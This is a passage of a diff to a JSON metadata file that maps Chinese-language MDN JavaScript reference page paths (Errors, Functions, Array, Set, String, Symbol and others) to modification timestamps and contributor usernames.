"dingxu", + "tngan", + "ziyunfei", + "fskuok", + "tiansh", + "teoli", + "zhangyaochun1987" ] }, - "Web/JavaScript/Reference/Errors/Invalid_date": { - "modified": "2020-03-12T19:46:02.926Z", + "Web/JavaScript/Reference/Global_Objects/Set/@@iterator": { + "modified": "2020-10-15T22:31:10.470Z", "contributors": [ - "xiaokk06", - "kilodleif", - "dudusky" + "Ende93" ] }, - "Web/JavaScript/Reference/Errors/Invalid_for-in_initializer": { - "modified": "2020-03-12T19:46:25.733Z", + "Web/JavaScript/Reference/Global_Objects/Set/@@species": { + "modified": "2020-10-15T22:05:00.184Z", "contributors": [ - "WayneCui" + "Ende93", + "susan007", + "helloyong" ] }, - "Web/JavaScript/Reference/Errors/Invalid_for-of_initializer": { - "modified": "2020-03-12T19:46:25.653Z", + "Web/JavaScript/Reference/Global_Objects/Set/Set": { + "modified": "2020-10-15T22:31:09.443Z", "contributors": [ - "WayneCui" + "Ende93" ] }, - "Web/JavaScript/Reference/Errors/JSON_bad_parse": { - "modified": "2020-03-12T19:44:41.664Z", + "Web/JavaScript/Reference/Global_Objects/Set/add": { + "modified": "2020-10-15T21:28:25.102Z", "contributors": [ + "Mr_kaze", + "zhuangyin", + "fscholz", + "MaZheng", "Ende93", - "imhaohao" + "Skyang", + "yenshen", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Malformed_URI": { - "modified": "2020-03-12T19:46:27.676Z", + "Web/JavaScript/Reference/Global_Objects/Set/clear": { + "modified": "2019-03-23T23:13:23.536Z", "contributors": [ - "WayneCui" + "MaZheng", + "Ende93", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Malformed_formal_parameter": { - "modified": "2020-03-12T19:45:20.875Z", + "Web/JavaScript/Reference/Global_Objects/Set/delete": { + "modified": "2019-07-08T00:12:51.875Z", "contributors": [ - "Ende93" + "adonWong", + "Ende93", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Missing_bracket_after_list": { - "modified": "2020-03-12T19:45:17.108Z", + "Web/JavaScript/Reference/Global_Objects/Set/entries": { + "modified": "2019-03-23T22:25:08.761Z", "contributors": [ - "Ende93" + "Lunaticf", + "timlee1128" ] }, - "Web/JavaScript/Reference/Errors/Missing_colon_after_property_id": { - "modified": "2020-03-12T19:46:24.903Z", + "Web/JavaScript/Reference/Global_Objects/Set/forEach": { + "modified": "2019-08-05T06:54:27.458Z", "contributors": [ - "WayneCui" + "tzmf", + "Jonnypeng", + "SphinxKnight", + "myl0204", + "tommyzqfeng", + "timlee1128", + "201341", + "gaigeshen" ] }, - "Web/JavaScript/Reference/Errors/Missing_curly_after_function_body": { - "modified": "2020-03-12T19:46:26.744Z", + "Web/JavaScript/Reference/Global_Objects/Set/has": { + "modified": "2019-07-08T00:21:03.715Z", "contributors": [ - "WayneCui" + "marsgt", + "MaZheng", + "SphinxKnight", + "Nonlone" ] }, - "Web/JavaScript/Reference/Errors/Missing_curly_after_property_list": { - "modified": "2020-03-12T19:45:22.931Z", + "Web/JavaScript/Reference/Global_Objects/Set/size": { + "modified": "2020-10-15T21:41:25.836Z", "contributors": [ - "Ende93" + "zhangchen", + "SphinxKnight", + "springuper", + "OmniP" ] }, - "Web/JavaScript/Reference/Errors/Missing_formal_parameter": { - "modified": "2020-03-12T19:46:22.522Z", + "Web/JavaScript/Reference/Global_Objects/Set/values": { + "modified": "2020-10-15T21:48:24.054Z", "contributors": [ - "WayneCui" + "Mr_kaze", + "qiudongwei", + "marsgt", + "holynewbie" ] }, - "Web/JavaScript/Reference/Errors/Missing_initializer_in_const": { - "modified": "2020-03-12T19:46:26.113Z", + "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": { + "modified": "2020-10-15T21:52:10.163Z", "contributors": [ - "WayneCui" + "wallena3", + "szengtal", + "RoXoM", + "AnnAngela", + "xgqfrms-GitHub", + "winjeysong" ] }, - "Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator": { - "modified": "2020-03-12T19:46:26.813Z", + "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/byteLength": { + "modified": "2020-10-15T21:58:35.573Z", "contributors": [ - "WayneCui" + "wallena3", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": { - "modified": "2020-03-12T19:44:53.187Z", + "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/slice": { + "modified": "2020-10-15T21:58:38.787Z", "contributors": [ - "Idealist_EZ", - "VanLeon" + "wallena3", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition": { - "modified": "2020-03-12T19:46:25.852Z", + "Web/JavaScript/Reference/Global_Objects/String": { + "modified": "2020-05-13T00:15:31.329Z", "contributors": [ - "WayneCui" + "canyi1942", + "RainSlide", + "Ejgwg0629", + "transping", + "zhangsenhua", + "frankfang1990", + "huangbom", + "xgqfrms-GitHub", + "ezirmusitua", + "sevenqi", + "ouzz413", + "MrBeike", + "msmailcode", + "git123hub", + "Soy", + "webpansy", + "liurenxingyu", + "lunix01", + "FredWe", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": { - "modified": "2020-03-12T19:44:58.615Z", + "Web/JavaScript/Reference/Global_Objects/String/@@iterator": { + "modified": "2019-10-14T06:47:30.493Z", "contributors": [ - "Davont", - "jitingsun" + "SageX", + "Dewey." ] }, - "Web/JavaScript/Reference/Errors/More_arguments_needed": { - "modified": "2020-03-12T19:45:18.099Z", + "Web/JavaScript/Reference/Global_Objects/String/Trim": { + "modified": "2020-10-15T21:07:55.641Z", "contributors": [ - "Ende93" + "brizer", + "RainSlide", + "SageX", + "xgqfrms-GitHub", + "Ende93", + "helloguangxue", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Negative_repetition_count": { - "modified": "2020-03-12T19:45:19.235Z", + "Web/JavaScript/Reference/Global_Objects/String/anchor": { + "modified": "2019-10-13T02:57:05.433Z", "contributors": [ - "Ende93" + "SageX", + "xgl", + "wwzText", + "Noly1990", + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/No_non-null_object": { - "modified": "2020-03-12T19:46:21.638Z", + "Web/JavaScript/Reference/Global_Objects/String/big": { + "modified": "2019-08-30T00:30:39.502Z", "contributors": [ - "WayneCui" + "wizardforcel", + "Valora", + "JokerPrince" ] }, - "Web/JavaScript/Reference/Errors/No_properties": { - "modified": "2020-03-12T19:45:01.030Z", + "Web/JavaScript/Reference/Global_Objects/String/blink": { + "modified": "2019-08-30T00:33:08.296Z", "contributors": [ - "lisniuse", - "jitingsun" + "wizardforcel", + "JokerPrince" ] }, - "Web/JavaScript/Reference/Errors/No_variable_name": { - "modified": "2020-03-12T19:46:26.272Z", + "Web/JavaScript/Reference/Global_Objects/String/bold": { + "modified": "2019-08-30T00:38:46.883Z", "contributors": [ - "WayneCui" + "Ende93", + "Agp12010" ] }, - "Web/JavaScript/Reference/Errors/Non_configurable_array_element": { - "modified": "2020-03-12T19:46:26.810Z", + "Web/JavaScript/Reference/Global_Objects/String/charAt": { + "modified": "2019-08-30T00:20:40.323Z", "contributors": [ - "WayneCui" + "Noly1990", + "xgqfrms-GitHub", + "Hugh", + "MarianZhang", + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Not_a_codepoint": { - "modified": "2020-03-12T19:44:36.705Z", + "Web/JavaScript/Reference/Global_Objects/String/charCodeAt": { + "modified": "2020-10-15T21:28:56.069Z", "contributors": [ - "YYYxt", - "Cattla" + "laampui", + "ChenNing02", + "RainSlide", + "lordisback", + "JuFoFu", + "KMKNKK", + "wizardforcel", + "xgqfrms-GitHub", + "baishusama", + "VmanXu", + "NotFinally", + "MarianZhang", + "Bigbigbig", + "greatbug", + "BeHappyF", + "LittleJake", + "Meteormatt", + "sweetliu", + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Not_a_constructor": { - "modified": "2020-03-12T19:45:22.496Z", + "Web/JavaScript/Reference/Global_Objects/String/codePointAt": { + "modified": "2019-03-18T20:48:31.110Z", "contributors": [ - "Ende93" + "transping", + "xdsnet", + "anchengjian" ] }, - "Web/JavaScript/Reference/Errors/Not_a_function": { - "modified": "2020-06-13T05:01:42.941Z", + "Web/JavaScript/Reference/Global_Objects/String/concat": { + "modified": "2020-10-15T21:07:52.015Z", "contributors": [ - "kagurakana", - "Ende93", - "lisniuse" + "laampui", + "Skyang", + "yenshen", + "teoli", + "AlexChao", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Not_defined": { - "modified": "2020-06-19T20:36:57.807Z", + "Web/JavaScript/Reference/Global_Objects/String/endsWith": { + "modified": "2020-10-15T21:21:07.320Z", "contributors": [ - "oyyunttt", + "laampui", + "RainSlide", "Veneno", - "yenshen", - "Zappa451", - "Hitomichan" + "LasyIsLazy", + "hongxu.Wei", + "terasum", + "SphinxKnight", + "percy507", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Precision_range": { - "modified": "2020-03-12T19:44:41.579Z", + "Web/JavaScript/Reference/Global_Objects/String/fixed": { + "modified": "2019-03-23T22:39:09.482Z", "contributors": [ - "xiaokk06", - "Desmond", - "ihuguowei" + "Ende93", + "chengxc" ] }, - "Web/JavaScript/Reference/Errors/Property_access_denied": { - "modified": "2020-03-12T19:44:01.141Z", + "Web/JavaScript/Reference/Global_Objects/String/fontcolor": { + "modified": "2019-03-23T22:20:59.919Z", "contributors": [ - "neal1991", - "Jack-Q" + "Jiang-Xuan", + "jieouba" ] }, - "Web/JavaScript/Reference/Errors/Read-only": { - "modified": "2020-03-12T19:45:06.128Z", + "Web/JavaScript/Reference/Global_Objects/String/fontsize": { + "modified": "2019-03-23T22:22:45.888Z", "contributors": [ - "_da" + "JokerPrince" ] }, - "Web/JavaScript/Reference/Errors/Redeclared_parameter": { - "modified": "2020-03-12T19:45:19.623Z", + "Web/JavaScript/Reference/Global_Objects/String/fromCharCode": { + "modified": "2020-10-15T21:28:54.977Z", "contributors": [ - "Ende93" + "叶扬", + "laampui", + "weiqinl", + "Jiang-Xuan", + "xgqfrms-GitHub", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value": { - "modified": "2020-03-12T19:47:48.693Z", + "Web/JavaScript/Reference/Global_Objects/String/fromCodePoint": { + "modified": "2020-10-15T21:44:06.995Z", "contributors": [ "RainSlide", - "DarrenZhang01" + "varcat", + "transping", + "xiayefeng", + "Hushabyme", + "Cattla", + "lastjune" ] }, - "Web/JavaScript/Reference/Errors/Reserved_identifier": { - "modified": "2020-03-12T19:46:21.461Z", + "Web/JavaScript/Reference/Global_Objects/String/includes": { + "modified": "2020-10-15T21:20:32.653Z", "contributors": [ - "123456zzz", - "WayneCui" + "laampui", + "1v9", + "hongxu.Wei", + "xgqfrms-GitHub", + "Zertu", + "JokerPrince", + "zilong-thu", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Resulting_string_too_large": { - "modified": "2020-03-12T19:45:20.911Z", + "Web/JavaScript/Reference/Global_Objects/String/indexOf": { + "modified": "2020-10-15T21:28:57.881Z", "contributors": [ - "Ende93" + "sunchengpeng", + "LaiTaoGDUT", + "inlym", + "Heaan", + "kingsley2036", + "RainSlide", + "a-x", + "xgqfrms-GitHub", + "Ende93", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Stmt_after_return": { - "modified": "2020-03-12T19:44:03.324Z", + "Web/JavaScript/Reference/Global_Objects/String/italics": { + "modified": "2019-03-23T22:39:41.518Z", "contributors": [ - "Jack-Q" + "ssruoyan" ] }, - "Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params": { - "modified": "2020-03-12T19:45:16.824Z", + "Web/JavaScript/Reference/Global_Objects/String/lastIndexOf": { + "modified": "2019-10-13T05:19:10.386Z", "contributors": [ - "xgqfrms-GitHub", - "Ende93" + "SageX", + "ts0307", + "Heaan", + "GavinMoreYoung", + "yenshen", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Too_much_recursion": { - "modified": "2020-03-12T19:43:57.558Z", + "Web/JavaScript/Reference/Global_Objects/String/length": { + "modified": "2019-03-18T20:48:34.436Z", "contributors": [ - "Jack-Q" + "yenshen", + "teoli", + "AlexChao", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments": { - "modified": "2020-03-12T19:46:27.376Z", + "Web/JavaScript/Reference/Global_Objects/String/link": { + "modified": "2020-10-15T21:28:55.868Z", "contributors": [ - "WayneCui" + "RainSlide", + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Undeclared_var": { - "modified": "2020-03-12T19:45:21.644Z", + "Web/JavaScript/Reference/Global_Objects/String/localeCompare": { + "modified": "2020-10-15T21:40:52.842Z", "contributors": [ + "weibangtuo", + "xuqighub", + "Ninja-Xu", + "Lookkkk", + "lcysgsg", + "xgqfrms-GitHub", + "zilong-thu", + "Yuxuan_Jiang", + "helloguangxue", "Ende93" ] }, - "Web/JavaScript/Reference/Errors/Undefined_prop": { - "modified": "2020-03-12T19:45:16.927Z", + "Web/JavaScript/Reference/Global_Objects/String/match": { + "modified": "2020-11-19T10:33:22.045Z", "contributors": [ - "Ende93" + "zhuangyin", + "GGliushi", + "zhangming8691", + "SageX", + "meng-Macbook", + "Nick_Arron", + "YISHI", + "Freed", + "xgqfrms-GitHub", + "kameii", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Unexpected_token": { - "modified": "2020-03-12T19:45:18.592Z", + "Web/JavaScript/Reference/Global_Objects/String/matchAll": { + "modified": "2020-10-15T22:16:17.159Z", "contributors": [ - "Ende93" + "oxyg3n", + "symant233", + "Tangel", + "zytjs", + "BadmasterY", + "SageX", + "Marcia_gm" ] }, - "Web/JavaScript/Reference/Errors/Unexpected_type": { - "modified": "2020-03-12T19:44:27.931Z", + "Web/JavaScript/Reference/Global_Objects/String/normalize": { + "modified": "2020-10-15T21:26:59.570Z", "contributors": [ - "yenshen", - "niaodan2b" + "RainSlide", + "SageX", + "xgl", + "SphinxKnight", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Unnamed_function_statement": { - "modified": "2020-03-12T19:46:23.117Z", + "Web/JavaScript/Reference/Global_Objects/String/padEnd": { + "modified": "2020-10-15T21:44:49.353Z", "contributors": [ - "Lxio", - "WayneCui" + "zhuangyin", + "calabash519", + "Iwouldliketobeapig", + "comehope", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Unterminated_string_literal": { - "modified": "2020-03-12T19:45:03.493Z", + "Web/JavaScript/Reference/Global_Objects/String/padStart": { + "modified": "2020-10-15T21:44:45.823Z", "contributors": [ - "Ende93", - "luckyG0429" + "zhuangyin", + "FredYing", + "dblate", + "Iwouldliketobeapig", + "kdex", + "xgqfrms-GitHub", + "Jiang-Xuan", + "comehope", + "tjyas", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Var_hides_argument": { - "modified": "2020-03-12T19:45:33.390Z", + "Web/JavaScript/Reference/Global_Objects/String/raw": { + "modified": "2020-10-15T21:29:34.006Z", "contributors": [ - "wizardforcel" + "SageX", + "Jamsdfn", + "HDUCC", + "OhIAmFine", + "RainSlide", + "RoXoM", + "SphinxKnight", + "joy-yu", + "ShupingLiu", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/in_operator_no_object": { - "modified": "2020-03-12T19:46:27.485Z", + "Web/JavaScript/Reference/Global_Objects/String/repeat": { + "modified": "2020-10-15T21:23:38.769Z", "contributors": [ - "WayneCui" + "laampui", + "xgqfrms-GitHub", + "git123hub", + "Ende93", + "OmniP", + "teoli", + "tiansh", + "ziyunfei", + "zhangyaochun1987" ] }, - "Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand": { - "modified": "2020-03-12T19:47:39.673Z", + "Web/JavaScript/Reference/Global_Objects/String/replace": { + "modified": "2020-11-27T21:45:38.567Z", "contributors": [ - "JodieShi" + "lastVigo", + "ZouYj", + "zhangming8691", + "RainSlide", + "SageX", + "zhengwengang", + "bigbird231", + "lwjcjmx123", + "glntlq", + "Ende93", + "qiubo1992", + "dingziqi", + "xgqfrms-GitHub", + "Leeoric", + "benymor", + "imwangpan", + "Zegendary", + "billcz", + "snowsolf", + "S-iscoming", + "lunix01", + "FredWe", + "MoltBoy", + "xinshangshangxin", + "paddingme", + "fannie-z", + "teoli", + "AlexChao", + "robert.yin", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/is_not_iterable": { - "modified": "2020-03-12T19:48:06.104Z", + "Web/JavaScript/Reference/Global_Objects/String/replaceAll": { + "modified": "2020-10-15T22:30:27.485Z", "contributors": [ - "JsirForGit", - "rockSandy" + "Damoness", + "laampui", + "xgqfrms" ] }, - "Web/JavaScript/Reference/Errors/不能添加属性": { - "modified": "2020-03-12T19:49:02.016Z", + "Web/JavaScript/Reference/Global_Objects/String/search": { + "modified": "2020-10-15T21:29:01.821Z", "contributors": [ - "mysteriousfather" + "laampui", + "Fleeting198", + "RainSlide", + "xgqfrms-GitHub", + "rockedpanda", + "AlexChao", + "teoli" ] }, - "Web/JavaScript/Reference/Functions": { - "modified": "2020-10-15T21:02:46.649Z", + "Web/JavaScript/Reference/Global_Objects/String/slice": { + "modified": "2020-10-15T21:04:29.173Z", "contributors": [ - "meng-Macbook", + "RainSlide", + "Jemory", + "MinimalistYing", "zhangchen", - "LiXin", - "righttoe", - "KngZhi", "xgqfrms-GitHub", - "appie963", - "Jianming", - "Ende93", - "ChristopherMa2012", - "ziyunfei", + "towerzju", + "Meteormatt", + "helloguangxue", + "FredWe", "teoli", - "lijunchengbeyond", - "byronhe", - "iwo" + "AlexChao", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Functions/Arrow_functions": { - "modified": "2020-10-15T21:22:15.274Z", + "Web/JavaScript/Reference/Global_Objects/String/small": { + "modified": "2019-03-23T22:22:44.927Z", "contributors": [ - "symant233", - "zhonghuajiadezhuizhongyu", - "woshiqiang1", - "YangYihui", - "kingsley2036", - "Monkey-D-Pixel", - "Himself65", - "Frederick-S", - "jianchao_xue", - "ZeroWhiteSmile", - "wangbangkun", - "ColinJinag", - "zjjgsc", - "Harleywww", - "huangll", - "LeoQuote", - "jjc", - "ywjco", - "Warden", + "wizardforcel", + "JokerPrince" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/split": { + "modified": "2020-10-15T21:28:59.434Z", + "contributors": [ + "real-Row", + "SageX", + "WindLo", + "gentlecoder", + "42", + "hongxu.Wei", + "laampui", + "Jiang-Xuan", + "YISHI", + "JuFoFu", + "ZQH", "xgqfrms-GitHub", + "Bitzo", + "uestcNaldo", + "zhuangyin", + "mooyxu", + "Hugh", + "auroraeffect", + "azhi09", + "helloguangxue", + "horizon0514", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/startsWith": { + "modified": "2020-10-15T21:21:10.667Z", + "contributors": [ "zhangchen", - "anjia", - "StevenYuysy", - "ZZES_REN", - "tjyas", - "Gary-c", - "linzhihuan", - "guonanci", - "shifengchen", - "unliar", - "MichelleGuan", - "slimeball", - "LangDonHJJ", - "zhangzju", - "Aisi", - "muzhen", + "YouMoeYi", + "RainSlide", + "SimonLeeee", + "SphinxKnight", "Meteormatt", - "Ende93", - "Ovilia", - "solome", - "zilong-thu", - "jy1989", + "ziyunfei", "teoli", - "ziyunfei" + "zhangyaochun1987" ] }, - "Web/JavaScript/Reference/Functions/Default_parameters": { - "modified": "2020-10-15T21:19:13.746Z", + "Web/JavaScript/Reference/Global_Objects/String/strike": { + "modified": "2019-03-23T22:19:16.420Z", "contributors": [ - "zhuangyin", - "zhangchen", - "xgqfrms-GitHub", - "Carlmac", - "xiaorang", - "Inokinoki", - "thomasyimgit", - "harryhao", - "lunix01", - "teoli", - "ziyunfei" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Functions/Method_definitions": { - "modified": "2020-10-15T21:34:33.682Z", + "Web/JavaScript/Reference/Global_Objects/String/sub": { + "modified": "2019-03-23T22:19:14.417Z", "contributors": [ - "narutojian", - "by73", - "Harpes", - "fscholz", - "SphinxKnight", - "zhangchen", - "teoli", - "fskuok" + "xgqfrms-GitHub", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Functions/Rest_parameters": { - "modified": "2020-10-15T21:18:39.925Z", + "Web/JavaScript/Reference/Global_Objects/String/substr": { + "modified": "2019-09-27T00:05:56.009Z", "contributors": [ - "Yayure", - "gqbre", - "codevvvv9", - "fscholz", - "Jhongwun", - "Warden", - "zhangchen", - "Ts799498164", - "Hanx", + "wingtao", + "xybin1990", + "zhaoboxiang", "xgqfrms-GitHub", - "Ende93", "helloguangxue", - "sabrinaluo", - "teoli", - "fskuok", - "ziyunfei" + "AlexChao" ] }, - "Web/JavaScript/Reference/Functions/arguments": { - "modified": "2020-10-15T21:02:42.108Z", + "Web/JavaScript/Reference/Global_Objects/String/substring": { + "modified": "2020-06-10T02:59:54.363Z", "contributors": [ - "xgqfrms", - "s1min", - "zx06", - "gqbre", - "jianchao_xue", - "ywjco", - "yeziningmeng", - "DragonHou", - "szengtal", - "zhangchen", - "renyuns", + "HCSkatana", + "SageX", + "libaixu", + "zhuangyin", + "hexianzhi", "xgqfrms-GitHub", - "yyyyu", - "yatace", - "jihonghai", - "Ende93", - "yswang0927", - "teoli", - "asdzxcqwe", - "Fadeoc", - "brandonzhu", - "ziyunfei" + "qujingyouyachu", + "helloguangxue", + "bailnl", + "AlexChao" ] }, - "Web/JavaScript/Reference/Functions/arguments/@@iterator": { - "modified": "2020-10-15T21:48:23.032Z", + "Web/JavaScript/Reference/Global_Objects/String/sup": { + "modified": "2019-03-23T22:19:11.494Z", "contributors": [ - "fscholz", - "wizardforcel", - "wohugb" + "xgqfrms-GitHub", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Functions/arguments/callee": { - "modified": "2020-10-15T21:29:14.342Z", + "Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase": { + "modified": "2019-10-14T05:00:05.180Z", "contributors": [ - "18boys", - "ssttii", - "fscholz", - "NoroHime", - "yangyichen", - "jyjsjd", + "SageX", + "853419196", + "wizardforcel", "xgqfrms-GitHub", - "Ende93", - "jonkee", - "teoli", - "gemstone" + "fighting0710" ] }, - "Web/JavaScript/Reference/Functions/arguments/length": { - "modified": "2020-10-15T21:21:10.516Z", + "Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase": { + "modified": "2020-10-15T22:29:43.372Z", "contributors": [ - "fscholz", - "teoli", - "ziyunfei" + "konnga" ] }, - "Web/JavaScript/Reference/Functions/get": { - "modified": "2020-10-15T21:32:24.408Z", + "Web/JavaScript/Reference/Global_Objects/String/toLowerCase": { + "modified": "2020-08-21T17:39:11.325Z", "contributors": [ - "wallena3", - "fscholz", - "LiXin", - "lijinglin", - "zhangchen", + "LCLx", + "SageX", "xgqfrms-GitHub", + "helloguangxue", + "yenshen", "teoli", - "yenshen" + "AlexChao", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Functions/set": { - "modified": "2020-10-15T21:31:33.512Z", + "Web/JavaScript/Reference/Global_Objects/String/toSource": { + "modified": "2019-03-18T20:48:25.704Z", "contributors": [ - "wallena3", - "fscholz", - "Austaras", - "zhangchen", - "xgqfrms-GitHub", - "Go7hic", "teoli", - "nyx2014", - "LinusYu" + "AlixWang" ] }, - "Web/JavaScript/Reference/Global_Objects": { - "modified": "2020-10-15T01:05:17.510Z", + "Web/JavaScript/Reference/Global_Objects/String/toString": { + "modified": "2019-10-14T05:25:34.591Z", "contributors": [ - "Neo42", - "Ende93", - "laampui", - "wallena3", - "RainSlide", - "Frederick-S", "SageX", - "liushengxin", - "Terry.Qiao", - "xgqfrms-GitHub", - "ZQH", - "zhangchen", - "mwc", - "Jiang-Xuan", - "SamuraiMe", - "highkay", - "lunix01", - "JoshuaGhost", - "ziyunfei", - "SphinxKnight", - "yiding_he", - "Fantasy_shao", - "AlexChao", - "teoli", - "OoOoOoOo" + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/AggregateError": { - "modified": "2020-10-15T22:27:42.765Z", + "Web/JavaScript/Reference/Global_Objects/String/toUpperCase": { + "modified": "2020-10-15T22:30:43.287Z", "contributors": [ - "叶扬", - "MaDeLu" + "LCLx", + "Originalee", + "ahbiao", + "Jabin_Lee" ] }, - "Web/JavaScript/Reference/Global_Objects/Array": { - "modified": "2020-10-15T21:11:20.773Z", + "Web/JavaScript/Reference/Global_Objects/String/valueOf": { + "modified": "2020-10-15T22:31:18.217Z", "contributors": [ - "SphinxKnight", - "fantasy090633", - "Frederick-S", - "Willian.G", - "gqbre", - "luluyiluchangtong", - "liuchao0704", - "zxsunrise", - "fisker", - "runyul", - "Terry.Qiao", - "ywjco", - "b2ns", - "kevinfszu", + "zhangming8691", + "ahbiao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Symbol": { + "modified": "2020-10-19T10:05:29.655Z", + "contributors": [ + "Alendia", + "polunzh", + "JohnhanLiu", + "Coink", + "haoXu-web", + "Revonia", + "zhangchen", + "huge", + "Bitzo", + "winjeysong", "shaojingchao", - "zhuangyin", - "xinleibird", "xgqfrms-GitHub", - "Chocomoon", - "habc0807", - "kdex", - "amnsss", - "pigflymoon", - "xiaojunjor", - "zhiquan_yu", - "lanezhao", - "ttjkst", - "aximario", + "lfkid", + "syhxczy", + "wdpm", + "helloguangxue", + "MapleGu", "Ende93", - "ObooChin", - "frontzhm", - "kinuxroot", - "VIPArcher", - "ziyunfei", - "TinyJiang", - "FredWe", - "Cattla", - "Gaohaoyang", - "paddingme", - "Yaty", - "tingxinCY", - "Harvesty", - "Guanjinke", - "dancancer", - "teoli", - "WenbingZheng", - "Mickeyboy", - "Oatn", - "Kebing", - "Lanyu", - "Acefeel" + "X-Cracker", + "fscholz" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/@@iterator": { - "modified": "2020-10-15T21:48:08.478Z", + "Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive": { + "modified": "2020-10-15T21:51:10.533Z", "contributors": [ - "GlowMonster", - "RainSlide", - "ifredom", - "Ende93", - "OshotOkill" + "zhangchen", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/@@species": { - "modified": "2020-10-15T21:47:50.737Z", + "Web/JavaScript/Reference/Global_Objects/Symbol/asyncIterator": { + "modified": "2020-10-15T22:20:07.992Z", "contributors": [ - "RainSlide", - "Fire1nRain", - "fscholz", - "hongxu.Wei", - "looch5" + "zhangchen", + "lzfcc" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/@@unscopables": { - "modified": "2020-10-15T21:48:00.162Z", + "Web/JavaScript/Reference/Global_Objects/Symbol/description": { + "modified": "2020-10-15T22:12:44.560Z", + "contributors": [ + "Maiko" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Symbol/for": { + "modified": "2019-04-22T09:08:37.458Z", "contributors": [ - "RainSlide", "Ende93", - "OshotOkill" + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/Reduce": { - "modified": "2020-10-15T21:26:38.795Z", + "Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance": { + "modified": "2020-10-15T21:49:33.542Z", "contributors": [ - "zhuangyin", - "zangbianxuegu", - "cracdic", - "tanpopo", - "SageX", - "good1uck", - "zheng1013757145", - "MrGaoGang", - "daolanfler", - "superadmin", - "jaredhan418", - "polunzh", - "haylorhu", - "yinsang", - "BingerWeb", - "linqunxun", - "weiqinl", - "danchaotaiyang", - "fscholz", - "fisker", - "ysyfff", - "wjuan960407", + "vent", "zhangchen", - "dblate", - "Go7hic", - "maximus1992", - "conniejing", - "keyood", - "righttoe", - "xgqfrms-GitHub", - "leeseean", - "micheal-death", - "coolguy", - "iugo", - "seaHeater", - "yanxiaowu", - "collhector", - "Cattla", - "vcfvct", - "teoli", "AlexChao", - "ziyunfei", - "fishenal" + "Hushabyme", + "zhouytforever", + "zhengwei" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/ReduceRight": { - "modified": "2020-10-23T11:37:43.387Z", + "Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable": { + "modified": "2020-10-15T21:49:33.460Z", "contributors": [ - "zhuangyin", - "RainSlide", - "SageX", - "C-boyi", - "fscholz", - "xgqfrms-GitHub", - "micheal-death", - "Menq", - "teoli", - "AlexChao", - "wilsoncook" + "Ende93", + "zhengwei" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/concat": { - "modified": "2020-10-15T21:07:00.501Z", + "Web/JavaScript/Reference/Global_Objects/Symbol/iterator": { + "modified": "2020-10-15T21:36:42.166Z", "contributors": [ - "likev", - "SageX", - "qiannianchong25", "zhangchen", - "fscholz", - "lijinwenhg", - "web-gm", - "fisker", - "badfl", - "xgqfrms-GitHub", "Ende93", - "Aralic", - "borishuai", "ziyunfei", - "teoli", - "Chajn" + "Jacksunwei" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/copyWithin": { - "modified": "2020-10-15T21:17:18.640Z", + "Web/JavaScript/Reference/Global_Objects/Symbol/keyFor": { + "modified": "2020-10-16T06:56:40.936Z", "contributors": [ - "yayaxueyu", - "ZL1019", - "RainSlide", - "fscholz", - "futurefeeling", - "hongxu.Wei", - "fisker", - "Non-professionalIFE", - "xgqfrms-GitHub", - "micheal-death", - "gaoupon", - "Andself", - "Ende93", - "chendatony31", - "crowphy", - "teoli", - "ziyunfei", - "Oatn" + "le-phq", + "zh244135370", + "SphinxKnight", + "purple_force", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Array/entries": { - 